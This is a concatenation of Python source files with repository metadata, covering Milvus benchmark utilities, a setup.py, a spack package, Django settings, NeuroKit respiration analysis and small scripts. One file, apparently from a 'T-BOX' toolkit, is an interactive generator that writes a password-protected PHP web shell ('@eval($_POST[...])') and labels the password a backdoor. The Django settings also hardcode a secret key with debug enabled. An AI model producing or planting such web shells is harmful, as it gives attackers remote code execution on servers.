get_unique_name(prefix=None): if prefix is None: prefix = "distributed-benchmark-test-" return prefix + "".join(random.choice(string.ascii_letters + string.digits) for _ in range(8)).lower() def get_current_time(): """ return current time""" return time.strftime('%Y-%m-%d %H:%M:%S', time.localtime()) def print_table(headers, columns, data): bodys = [] for index, value in enumerate(columns): tmp = [value] tmp.extend(data[index]) bodys.append(tmp) tp.table(bodys, headers) def get_deploy_mode(deploy_params): """ Get the server deployment mode set in the yaml configuration file single, cluster, cluster_3rd """ deploy_mode = None if deploy_params: milvus_params = None if "milvus" in deploy_params: milvus_params = deploy_params["milvus"] if not milvus_params: deploy_mode = config.DEFUALT_DEPLOY_MODE elif "deploy_mode" in milvus_params: deploy_mode = milvus_params["deploy_mode"] if deploy_mode not in [config.SINGLE_DEPLOY_MODE, config.CLUSTER_DEPLOY_MODE]: raise Exception("Invalid deploy mode: %s" % deploy_mode) return deploy_mode def get_server_tag(deploy_params): """ Get service deployment configuration e.g.: server: server_tag: "8c16m" """ server_tag = "" if deploy_params and "server" in deploy_params: server = deploy_params["server"] server_tag = server["server_tag"] if "server_tag" in server else "" return server_tag def dict_update(source, target): for key, value in source.items(): if isinstance(value, dict) and key in target: dict_update(source[key], target[key]) else: target[key] = value return target def search_param_analysis(vector_query, filter_query): """ Search parameter adjustment, applicable pymilvus version >= 2.0.0rc7.dev24 """ if "vector" in vector_query: vector = vector_query["vector"] else: logger.error("[search_param_analysis] vector not in vector_query") return False data = [] anns_field = "" param = {} limit = 1 if isinstance(vector, dict) and len(vector) == 1: for key in vector: anns_field = key data = vector[key]["query"] param = {"metric_type": vector[key]["metric_type"], "params": vector[key]["params"]} limit = vector[key]["topk"] else: logger.error("[search_param_analysis] vector not dict or len != 1: %s" % str(vector)) return False if isinstance(filter_query, list) and len(filter_query) != 0 and "range" in filter_query[0]: filter_range = filter_query[0]["range"] if isinstance(filter_range, dict) and len(filter_range) == 1: for key in filter_range: field_name = filter_range[key] expression = None if 'GT' in filter_range[key]: exp1 = "%s > %s" % (field_name, str(filter_range[key]['GT'])) expression = exp1 if 'LT' in filter_range[key]: exp2 = "%s < %s" % (field_name, str(filter_range[key]['LT'])) if expression: expression = expression + ' && ' + exp2 else: expression = exp2 else: logger.error("[search_param_analysis] filter_range not dict or len != 1: %s" % str(filter_range)) return False else: # logger.debug("[search_param_analysis] range not in filter_query: %s" % str(filter_query)) expression = None result = { "data": data, "anns_field": anns_field, "param": param, "limit": limit, "expression": expression } # logger.debug("[search_param_analysis] search_param_analysis: %s" % str(result)) return result def modify_file(file_path_list, is_modify=False, input_content=""): """ file_path_list : file list -> list[<file_path>] is_modify : does the file need to be reset input_content ：the content that need to insert to the file """ if not isinstance(file_path_list, list): print("[modify_file] file is not a list.") for file_path in file_path_list: folder_path, file_name = os.path.split(file_path) if not os.path.isdir(folder_path): print("[modify_file] folder(%s) is not exist." % folder_path) os.makedirs(folder_path) if not os.path.isfile(file_path): print("[modify_file] file(%s) is not exist." % file_path) os.mknod(file_path) else: if is_modify is True: print("[modify_file] start modifying file(%s)..." % file_path) with open(file_path, "r+") as f: f.seek(0) f.truncate() f.write(input_content) f.close() print("[modify_file] file(%s) modification is complete." % file_path_list) def read_json_file(file_name): """ return content of json file """ with open(file_name) as f: file_dict = json.load(f) return file_dict

31.219124

109

0.596988

import time import logging import string import random import json import os from yaml.representer import SafeRepresenter import yaml import tableprint as tp import config logger = logging.getLogger("milvus_benchmark.utils") def timestr_to_int(time_str): if isinstance(time_str, int) or time_str.isdigit(): time_int = int(time_str) elif time_str.endswith("s"): time_int = int(time_str.split("s")[0]) elif time_str.endswith("m"): time_int = int(time_str.split("m")[0]) * 60 elif time_str.endswith("h"): time_int = int(time_str.split("h")[0]) * 60 * 60 else: raise Exception("%s not support" % time_str) return time_int class literal_str(str): pass def change_style(style, representer): def new_representer(dumper, data): scalar = representer(dumper, data) scalar.style = style return scalar return new_representer represent_literal_str = change_style('|', SafeRepresenter.represent_str) yaml.add_representer(literal_str, represent_literal_str) def retry(times): def wrapper(func): def newfn(*args, **kwargs): attempt = 0 while attempt < times: try: result = func(*args, **kwargs) if result: break else: raise Exception("Result false") except Exception as e: logger.info(str(e)) time.sleep(3) attempt += 1 return result return newfn return wrapper def convert_nested(dct): def insert(dct, lst): for x in lst[:-2]: dct[x] = dct = dct.get(x, dict()) dct.update({lst[-2]: lst[-1]}) result = dict() lsts = ([*k.split("."), v] for k, v in dct.items()) for lst in lsts: insert(result, lst) return result def get_unique_name(prefix=None): if prefix is None: prefix = "distributed-benchmark-test-" return prefix + "".join(random.choice(string.ascii_letters + string.digits) for _ in range(8)).lower() def get_current_time(): return time.strftime('%Y-%m-%d %H:%M:%S', time.localtime()) def print_table(headers, columns, data): bodys = [] for index, value in enumerate(columns): tmp = [value] tmp.extend(data[index]) bodys.append(tmp) tp.table(bodys, headers) def get_deploy_mode(deploy_params): deploy_mode = None if deploy_params: milvus_params = None if "milvus" in deploy_params: milvus_params = deploy_params["milvus"] if not milvus_params: deploy_mode = config.DEFUALT_DEPLOY_MODE elif "deploy_mode" in milvus_params: deploy_mode = milvus_params["deploy_mode"] if deploy_mode not in [config.SINGLE_DEPLOY_MODE, config.CLUSTER_DEPLOY_MODE]: raise Exception("Invalid deploy mode: %s" % deploy_mode) return deploy_mode def get_server_tag(deploy_params): server_tag = "" if deploy_params and "server" in deploy_params: server = deploy_params["server"] server_tag = server["server_tag"] if "server_tag" in server else "" return server_tag def dict_update(source, target): for key, value in source.items(): if isinstance(value, dict) and key in target: dict_update(source[key], target[key]) else: target[key] = value return target def search_param_analysis(vector_query, filter_query): if "vector" in vector_query: vector = vector_query["vector"] else: logger.error("[search_param_analysis] vector not in vector_query") return False data = [] anns_field = "" param = {} limit = 1 if isinstance(vector, dict) and len(vector) == 1: for key in vector: anns_field = key data = vector[key]["query"] param = {"metric_type": vector[key]["metric_type"], "params": vector[key]["params"]} limit = vector[key]["topk"] else: logger.error("[search_param_analysis] vector not dict or len != 1: %s" % str(vector)) return False if isinstance(filter_query, list) and len(filter_query) != 0 and "range" in filter_query[0]: filter_range = filter_query[0]["range"] if isinstance(filter_range, dict) and len(filter_range) == 1: for key in filter_range: field_name = filter_range[key] expression = None if 'GT' in filter_range[key]: exp1 = "%s > %s" % (field_name, str(filter_range[key]['GT'])) expression = exp1 if 'LT' in filter_range[key]: exp2 = "%s < %s" % (field_name, str(filter_range[key]['LT'])) if expression: expression = expression + ' && ' + exp2 else: expression = exp2 else: logger.error("[search_param_analysis] filter_range not dict or len != 1: %s" % str(filter_range)) return False else: expression = None result = { "data": data, "anns_field": anns_field, "param": param, "limit": limit, "expression": expression } return result def modify_file(file_path_list, is_modify=False, input_content=""): if not isinstance(file_path_list, list): print("[modify_file] file is not a list.") for file_path in file_path_list: folder_path, file_name = os.path.split(file_path) if not os.path.isdir(folder_path): print("[modify_file] folder(%s) is not exist." % folder_path) os.makedirs(folder_path) if not os.path.isfile(file_path): print("[modify_file] file(%s) is not exist." % file_path) os.mknod(file_path) else: if is_modify is True: print("[modify_file] start modifying file(%s)..." % file_path) with open(file_path, "r+") as f: f.seek(0) f.truncate() f.write(input_content) f.close() print("[modify_file] file(%s) modification is complete." % file_path_list) def read_json_file(file_name): with open(file_name) as f: file_dict = json.load(f) return file_dict

true

1c4237c8308eb73fae7beab7359bba15be44693b

306

py

Python

setup.py

ipkn/somebox

1fedaa07236402269b8ad10dc9563f3d90aaead1

[ "MIT" ]

4

2017-12-25T10:36:15.000Z

2018-01-01T10:42:34.000Z

setup.py

ipkn/somebox

1fedaa07236402269b8ad10dc9563f3d90aaead1

[ "MIT" ]

null

setup.py

ipkn/somebox

1fedaa07236402269b8ad10dc9563f3d90aaead1

[ "MIT" ]

null

#!/usr/bin/env python from distutils.core import setup setup(name='somebox', version='0.0.1', description='Dropbox-like file sharing service', author='Jaeseung Ha', author_email='ipknhama@gmail.com', url='https://github.com/ipkn/somebox', packages=['somebox'], )

23.538462

54

0.640523

from distutils.core import setup setup(name='somebox', version='0.0.1', description='Dropbox-like file sharing service', author='Jaeseung Ha', author_email='ipknhama@gmail.com', url='https://github.com/ipkn/somebox', packages=['somebox'], )

true

1c42381fa1ef141081328c94ed77762e9634c47f

1,079

py

Python

auxiliary/summon/php-web.py

Qmeimei10086/T-BOX

5ca58311861b121fd337d26412e0f6ba8200ab66

[ "MIT" ]

5

2020-07-17T03:13:49.000Z

2021-07-26T14:17:15.000Z

auxiliary/summon/php-web.py

Qmeimei10086/T-BOX

5ca58311861b121fd337d26412e0f6ba8200ab66

[ "MIT" ]

null

auxiliary/summon/php-web.py

Qmeimei10086/T-BOX

5ca58311861b121fd337d26412e0f6ba8200ab66

[ "MIT" ]

2

2020-09-28T14:46:26.000Z

2021-04-26T07:42:07.000Z

import os password = '123456' def summon_php(password): f = open('shell.txt','w') f.write("<?php @eval($_POST['") f.write(password) f.write("']); ?>") f.close() os.rename('shell.txt','shell.php') print('[*]生成完毕 R > /shell.php',' password: '+password) while True: cmd = input('T-BOX auxiliary(summon/php) >') if cmd == 'show options': print(' ') print('----------name---------content------------present---------') print(' password ' + password + ' 后门密码 ') print(' ') elif cmd == '': pass elif cmd[:13] == 'set password ': password = cmd[13:] print('[*]password ==> '+password) elif cmd == 'run': print('start.......') summon_php(password=password) elif cmd == 'back': break else: print("[-]can't find command: " + cmd)

26.317073

76

0.39481

import os password = '123456' def summon_php(password): f = open('shell.txt','w') f.write("<?php @eval($_POST['") f.write(password) f.write("']); ?>") f.close() os.rename('shell.txt','shell.php') print('[*]生成完毕 R > /shell.php',' password: '+password) while True: cmd = input('T-BOX auxiliary(summon/php) >') if cmd == 'show options': print(' ') print('----------name---------content------------present---------') print(' password ' + password + ' 后门密码 ') print(' ') elif cmd == '': pass elif cmd[:13] == 'set password ': password = cmd[13:] print('[*]password ==> '+password) elif cmd == 'run': print('start.......') summon_php(password=password) elif cmd == 'back': break else: print("[-]can't find command: " + cmd)

true

1c42382591392e7525836c3f91d1ee5694ec9c32

1,011

py

Python

var/spack/repos/builtin/packages/atom-dft/package.py

HaochengLIU/spack

26e51ff1705a4d6234e2a0cf734f93f7f95df5cb

[ "ECL-2.0", "Apache-2.0", "MIT" ]

2

2018-11-27T03:39:44.000Z

2021-09-06T15:50:35.000Z

var/spack/repos/builtin/packages/atom-dft/package.py

HaochengLIU/spack

26e51ff1705a4d6234e2a0cf734f93f7f95df5cb

[ "ECL-2.0", "Apache-2.0", "MIT" ]

1

2019-01-11T20:11:52.000Z

var/spack/repos/builtin/packages/atom-dft/package.py

HaochengLIU/spack

26e51ff1705a4d6234e2a0cf734f93f7f95df5cb

[ "ECL-2.0", "Apache-2.0", "MIT" ]

1

2020-10-14T14:20:17.000Z

# Copyright 2013-2018 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * class AtomDft(MakefilePackage): """ATOM is a program for DFT calculations in atoms and pseudopotential generation.""" homepage = "https://departments.icmab.es/leem/siesta/Pseudopotentials/" url = "https://departments.icmab.es/leem/siesta/Pseudopotentials/Code/atom-4.2.6.tgz" version('4.2.6', 'c0c80cf349f951601942ed6c7cb0256b') depends_on('libgridxc') depends_on('xmlf90') def edit(self, spec, prefix): copy('arch.make.sample', 'arch.make') @property def build_targets(self): return ['XMLF90_ROOT=%s' % self.spec['xmlf90'].prefix, 'GRIDXC_ROOT=%s' % self.spec['libgridxc'].prefix, 'FC=fc'] def install(self, spec, prefix): mkdir(prefix.bin) install('atm', prefix.bin)

30.636364

94

0.664688

from spack import * class AtomDft(MakefilePackage): homepage = "https://departments.icmab.es/leem/siesta/Pseudopotentials/" url = "https://departments.icmab.es/leem/siesta/Pseudopotentials/Code/atom-4.2.6.tgz" version('4.2.6', 'c0c80cf349f951601942ed6c7cb0256b') depends_on('libgridxc') depends_on('xmlf90') def edit(self, spec, prefix): copy('arch.make.sample', 'arch.make') @property def build_targets(self): return ['XMLF90_ROOT=%s' % self.spec['xmlf90'].prefix, 'GRIDXC_ROOT=%s' % self.spec['libgridxc'].prefix, 'FC=fc'] def install(self, spec, prefix): mkdir(prefix.bin) install('atm', prefix.bin)

true

1c42387b1ebfe6056c5b893f540ce5c174057639

4,234

py

Python

todo_django/todo_django/settings.py

danjac/todo-djember

7fcfc644c73b702ae9e18a9a27bea0b075fea187

[ "MIT" ]

2

2016-12-08T11:24:54.000Z

2017-03-18T04:36:35.000Z

todo_django/todo_django/settings.py

danjac/todo-djember

7fcfc644c73b702ae9e18a9a27bea0b075fea187

[ "MIT" ]

null

todo_django/todo_django/settings.py

danjac/todo-djember

7fcfc644c73b702ae9e18a9a27bea0b075fea187

[ "MIT" ]

null

""" Django settings for todo_django project. Generated by 'django-admin startproject' using Django 1.9.5. For more information on this file, see https://docs.djangoproject.com/en/1.9/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.9/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.9/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'ry%8!dfeiilht!0!da0h29!y4tnnzu8qe6%79bsy4i(_nb%k(u' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'corsheaders', 'rest_framework', 'rest_framework.authtoken', 'rest_framework_json_api', 'todo', ] MIDDLEWARE_CLASSES = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'corsheaders.middleware.CorsMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.auth.middleware.SessionAuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'todo_django.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'todo_django.wsgi.application' # Database # https://docs.djangoproject.com/en/1.9/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Password validation # https://docs.djangoproject.com/en/1.9/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/1.9/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.9/howto/static-files/ STATIC_URL = '/static/' # Development only CORS_ORIGIN_ALLOW_ALL = True REST_FRAMEWORK = { 'DEFAULT_AUTHENTICATION_CLASSES': ( 'rest_framework.authentication.TokenAuthentication', 'rest_framework.authentication.SessionAuthentication', ), 'PAGE_SIZE': 10, 'EXCEPTION_HANDLER': 'rest_framework_json_api.exceptions.exception_handler', 'DEFAULT_PAGINATION_CLASS': 'rest_framework_json_api.pagination.PageNumberPagination', 'DEFAULT_PARSER_CLASSES': ( 'rest_framework_json_api.parsers.JSONParser', 'rest_framework.parsers.FormParser', 'rest_framework.parsers.MultiPartParser' ), 'DEFAULT_RENDERER_CLASSES': ( 'rest_framework_json_api.renderers.JSONRenderer', 'rest_framework.renderers.BrowsableAPIRenderer', ), 'DEFAULT_METADATA_CLASS': 'rest_framework_json_api.metadata.JSONAPIMetadata', } #APPEND_SLASH = False

27.316129

91

0.709258

import os BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) SECRET_KEY = 'ry%8!dfeiilht!0!da0h29!y4tnnzu8qe6%79bsy4i(_nb%k(u' DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'corsheaders', 'rest_framework', 'rest_framework.authtoken', 'rest_framework_json_api', 'todo', ] MIDDLEWARE_CLASSES = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'corsheaders.middleware.CorsMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.auth.middleware.SessionAuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'todo_django.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'todo_django.wsgi.application' # Database # https://docs.djangoproject.com/en/1.9/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Password validation # https://docs.djangoproject.com/en/1.9/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/1.9/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.9/howto/static-files/ STATIC_URL = '/static/' # Development only CORS_ORIGIN_ALLOW_ALL = True REST_FRAMEWORK = { 'DEFAULT_AUTHENTICATION_CLASSES': ( 'rest_framework.authentication.TokenAuthentication', 'rest_framework.authentication.SessionAuthentication', ), 'PAGE_SIZE': 10, 'EXCEPTION_HANDLER': 'rest_framework_json_api.exceptions.exception_handler', 'DEFAULT_PAGINATION_CLASS': 'rest_framework_json_api.pagination.PageNumberPagination', 'DEFAULT_PARSER_CLASSES': ( 'rest_framework_json_api.parsers.JSONParser', 'rest_framework.parsers.FormParser', 'rest_framework.parsers.MultiPartParser' ), 'DEFAULT_RENDERER_CLASSES': ( 'rest_framework_json_api.renderers.JSONRenderer', 'rest_framework.renderers.BrowsableAPIRenderer', ), 'DEFAULT_METADATA_CLASS': 'rest_framework_json_api.metadata.JSONAPIMetadata', } #APPEND_SLASH = False

true

1c4239313b0fb16df0db4b986bf039eafabbb42e

217

py

Python

Pacote download/Exercicios/custo da viagem.py

Henrique-GM/Exercicios_de_Python

8cbbcaa31fc19e467576ab21ba3458d67052c40b

[ "Unlicense" ]

null

Pacote download/Exercicios/custo da viagem.py

Henrique-GM/Exercicios_de_Python

8cbbcaa31fc19e467576ab21ba3458d67052c40b

[ "Unlicense" ]

null

Pacote download/Exercicios/custo da viagem.py

Henrique-GM/Exercicios_de_Python

8cbbcaa31fc19e467576ab21ba3458d67052c40b

[ "Unlicense" ]

null

viagem = float(input('Digite a distância da viagem em KM: ')) if viagem <= 200: print('O valor cobrado será: {:.2f}$'.format(viagem * 0.50)) else: print('O valor cobrado será: {:.2f}$'.format(viagem * 0.45))

31

64

0.631336

viagem = float(input('Digite a distância da viagem em KM: ')) if viagem <= 200: print('O valor cobrado será: {:.2f}$'.format(viagem * 0.50)) else: print('O valor cobrado será: {:.2f}$'.format(viagem * 0.45))

true

1c42399e0db35b1c24761a4d2384b6a7728a5989

588

py

Python

bin/get_data_urls.py

peterhil/ninhursag

582133ae51e98b2e4272d6a78794b08aed845960

[ "MIT" ]

4

2015-05-24T20:39:54.000Z

2021-06-23T06:48:23.000Z

bin/get_data_urls.py

peterhil/ninhursag

582133ae51e98b2e4272d6a78794b08aed845960

[ "MIT" ]

10

2021-03-23T01:11:49.000Z

2021-06-22T23:58:36.000Z

bin/get_data_urls.py

peterhil/ninhursag

582133ae51e98b2e4272d6a78794b08aed845960

[ "MIT" ]

null

#!/usr/bin/env python # -*- coding: utf-8 mode: python -*- import urllib.request from bs4 import BeautifulSoup url = 'https://www.usgs.gov/centers/nmic/historical-statistics-mineral-and-material-commodities-united-states' with urllib.request.urlopen(url) as response: page = response.read() soup = BeautifulSoup(page, 'html.parser') trs = soup.select('tr') for tr in trs: mineral = tr.select('td a[id]') link = tr.select('td a[href*=".xlsx"]') if mineral and link: # print("\t".join([mineral[0].contents[0], link[0]['href']])) print(link[0]['href'])

26.727273

110

0.659864

import urllib.request from bs4 import BeautifulSoup url = 'https://www.usgs.gov/centers/nmic/historical-statistics-mineral-and-material-commodities-united-states' with urllib.request.urlopen(url) as response: page = response.read() soup = BeautifulSoup(page, 'html.parser') trs = soup.select('tr') for tr in trs: mineral = tr.select('td a[id]') link = tr.select('td a[href*=".xlsx"]') if mineral and link: print(link[0]['href'])

true

1c423aacb2531aad54f0c1359c050aa5b046564a

5,270

py

Python

neurokit2/rsp/rsp_eventrelated.py

aristotelisxs/NeuroKit

61c8c9b26ac7bc8ac5b666ce6cb1dfe59b1c146b

[ "MIT" ]

1

2020-12-31T17:48:11.000Z

neurokit2/rsp/rsp_eventrelated.py

aristotelisxs/NeuroKit

61c8c9b26ac7bc8ac5b666ce6cb1dfe59b1c146b

[ "MIT" ]

null

neurokit2/rsp/rsp_eventrelated.py

aristotelisxs/NeuroKit

61c8c9b26ac7bc8ac5b666ce6cb1dfe59b1c146b

[ "MIT" ]

1

2020-12-20T17:24:25.000Z

# -*- coding: utf-8 -*- from warnings import warn import numpy as np from ..epochs.eventrelated_utils import ( _eventrelated_addinfo, _eventrelated_rate, _eventrelated_sanitizeinput, _eventrelated_sanitizeoutput, ) from ..misc import NeuroKitWarning def rsp_eventrelated(epochs, silent=False): """Performs event-related RSP analysis on epochs. Parameters ---------- epochs : Union[dict, pd.DataFrame] A dict containing one DataFrame per event/trial, usually obtained via `epochs_create()`, or a DataFrame containing all epochs, usually obtained via `epochs_to_df()`. silent : bool If True, silence possible warnings. Returns ------- DataFrame A dataframe containing the analyzed RSP features for each epoch, with each epoch indicated by the `Label` column (if not present, by the `Index` column). The analyzed features consist of the following: - *"RSP_Rate_Max"*: the maximum respiratory rate after stimulus onset. - *"RSP_Rate_Min"*: the minimum respiratory rate after stimulus onset. - *"RSP_Rate_Mean"*: the mean respiratory rate after stimulus onset. - *"RSP_Rate_Max_Time"*: the time at which maximum respiratory rate occurs. - *"RSP_Rate_Min_Time"*: the time at which minimum respiratory rate occurs. - *"RSP_Amplitude_Max"*: the maximum respiratory amplitude after stimulus onset. - *"RSP_Amplitude_Min"*: the minimum respiratory amplitude after stimulus onset. - *"RSP_Amplitude_Mean"*: the mean respiratory amplitude after stimulus onset. - *"RSP_Phase"*: indication of whether the onset of the event concurs with respiratory inspiration (1) or expiration (0). - *"RSP_PhaseCompletion"*: indication of the stage of the current respiration phase (0 to 1) at the onset of the event. See Also -------- events_find, epochs_create, bio_process Examples ---------- >>> import neurokit2 as nk >>> >>> # Example with simulated data >>> rsp, info = nk.rsp_process(nk.rsp_simulate(duration=120)) >>> epochs = nk.epochs_create(rsp, events=[5000, 10000, 15000], epochs_start=-0.1, epochs_end=1.9) >>> >>> # Analyze >>> rsp1 = nk.rsp_eventrelated(epochs) >>> rsp1 #doctest: +SKIP >>> >>> # Example with real data >>> data = nk.data("bio_eventrelated_100hz") >>> >>> # Process the data >>> df, info = nk.bio_process(rsp=data["RSP"], sampling_rate=100) >>> events = nk.events_find(data["Photosensor"], threshold_keep='below', ... event_conditions=["Negative", "Neutral", "Neutral", "Negative"]) >>> epochs = nk.epochs_create(df, events, sampling_rate=100, epochs_start=-0.1, epochs_end=2.9) >>> >>> # Analyze >>> rsp2 = nk.rsp_eventrelated(epochs) >>> rsp2 #doctest: +SKIP """ # Sanity checks epochs = _eventrelated_sanitizeinput(epochs, what="rsp", silent=silent) # Extract features and build dataframe data = {} # Initialize an empty dict for i in epochs.keys(): data[i] = {} # Initialize empty container # Rate data[i] = _eventrelated_rate(epochs[i], data[i], var="RSP_Rate") # Amplitude data[i] = _rsp_eventrelated_amplitude(epochs[i], data[i]) # Inspiration data[i] = _rsp_eventrelated_inspiration(epochs[i], data[i]) # Fill with more info data[i] = _eventrelated_addinfo(epochs[i], data[i]) df = _eventrelated_sanitizeoutput(data) return df # ============================================================================= # Internals # ============================================================================= def _rsp_eventrelated_amplitude(epoch, output={}): # Sanitize input if "RSP_Amplitude" not in epoch: warn( "Input does not have an `RSP_Amplitude` column." " Will skip all amplitude-related features.", category=NeuroKitWarning ) return output # Get baseline if np.min(epoch.index.values) <= 0: baseline = epoch["RSP_Amplitude"][epoch.index <= 0].values signal = epoch["RSP_Amplitude"][epoch.index > 0].values else: baseline = epoch["RSP_Amplitude"][np.min(epoch.index.values) : np.min(epoch.index.values)].values signal = epoch["RSP_Amplitude"][epoch.index > np.min(epoch.index)].values # Max / Min / Mean output["RSP_Amplitude_Max"] = np.max(signal) - np.mean(baseline) output["RSP_Amplitude_Min"] = np.min(signal) - np.mean(baseline) output["RSP_Amplitude_Mean"] = np.mean(signal) - np.mean(baseline) return output def _rsp_eventrelated_inspiration(epoch, output={}): # Sanitize input if "RSP_Phase" not in epoch: warn( "Input does not have an `RSP_Phase` column." " Will not indicate whether event onset concurs with inspiration.", category=NeuroKitWarning ) return output # Indication of inspiration output["RSP_Phase"] = epoch["RSP_Phase"][epoch.index > 0].iloc[0] output["RSP_Phase_Completion"] = epoch["RSP_Phase_Completion"][epoch.index > 0].iloc[0] return output

35.133333

105

0.627135

from warnings import warn import numpy as np from ..epochs.eventrelated_utils import ( _eventrelated_addinfo, _eventrelated_rate, _eventrelated_sanitizeinput, _eventrelated_sanitizeoutput, ) from ..misc import NeuroKitWarning def rsp_eventrelated(epochs, silent=False): epochs = _eventrelated_sanitizeinput(epochs, what="rsp", silent=silent) data = {} for i in epochs.keys(): data[i] = {} data[i] = _eventrelated_rate(epochs[i], data[i], var="RSP_Rate") data[i] = _rsp_eventrelated_amplitude(epochs[i], data[i]) data[i] = _rsp_eventrelated_inspiration(epochs[i], data[i]) data[i] = _eventrelated_addinfo(epochs[i], data[i]) df = _eventrelated_sanitizeoutput(data) return df def _rsp_eventrelated_amplitude(epoch, output={}): if "RSP_Amplitude" not in epoch: warn( "Input does not have an `RSP_Amplitude` column." " Will skip all amplitude-related features.", category=NeuroKitWarning ) return output if np.min(epoch.index.values) <= 0: baseline = epoch["RSP_Amplitude"][epoch.index <= 0].values signal = epoch["RSP_Amplitude"][epoch.index > 0].values else: baseline = epoch["RSP_Amplitude"][np.min(epoch.index.values) : np.min(epoch.index.values)].values signal = epoch["RSP_Amplitude"][epoch.index > np.min(epoch.index)].values output["RSP_Amplitude_Max"] = np.max(signal) - np.mean(baseline) output["RSP_Amplitude_Min"] = np.min(signal) - np.mean(baseline) output["RSP_Amplitude_Mean"] = np.mean(signal) - np.mean(baseline) return output def _rsp_eventrelated_inspiration(epoch, output={}): if "RSP_Phase" not in epoch: warn( "Input does not have an `RSP_Phase` column." " Will not indicate whether event onset concurs with inspiration.", category=NeuroKitWarning ) return output output["RSP_Phase"] = epoch["RSP_Phase"][epoch.index > 0].iloc[0] output["RSP_Phase_Completion"] = epoch["RSP_Phase_Completion"][epoch.index > 0].iloc[0] return output

true

1c423aad6f7ea469c32c1c28202143fc23d66473

12,918

py

Python

apprise/plugins/NotifyNexmo.py

linkmauve/apprise

76700bfa1ddcb2812d9ed14dfa7736125bcd346e

[ "MIT" ]

4,764

2018-02-02T18:17:06.000Z

2022-03-31T20:41:13.000Z

apprise/plugins/NotifyNexmo.py

linkmauve/apprise

76700bfa1ddcb2812d9ed14dfa7736125bcd346e

[ "MIT" ]

504

2017-11-26T15:56:14.000Z

2022-03-31T22:38:49.000Z

apprise/plugins/NotifyNexmo.py

linkmauve/apprise

76700bfa1ddcb2812d9ed14dfa7736125bcd346e

[ "MIT" ]

217

2018-05-22T14:29:20.000Z

2022-03-28T06:24:46.000Z

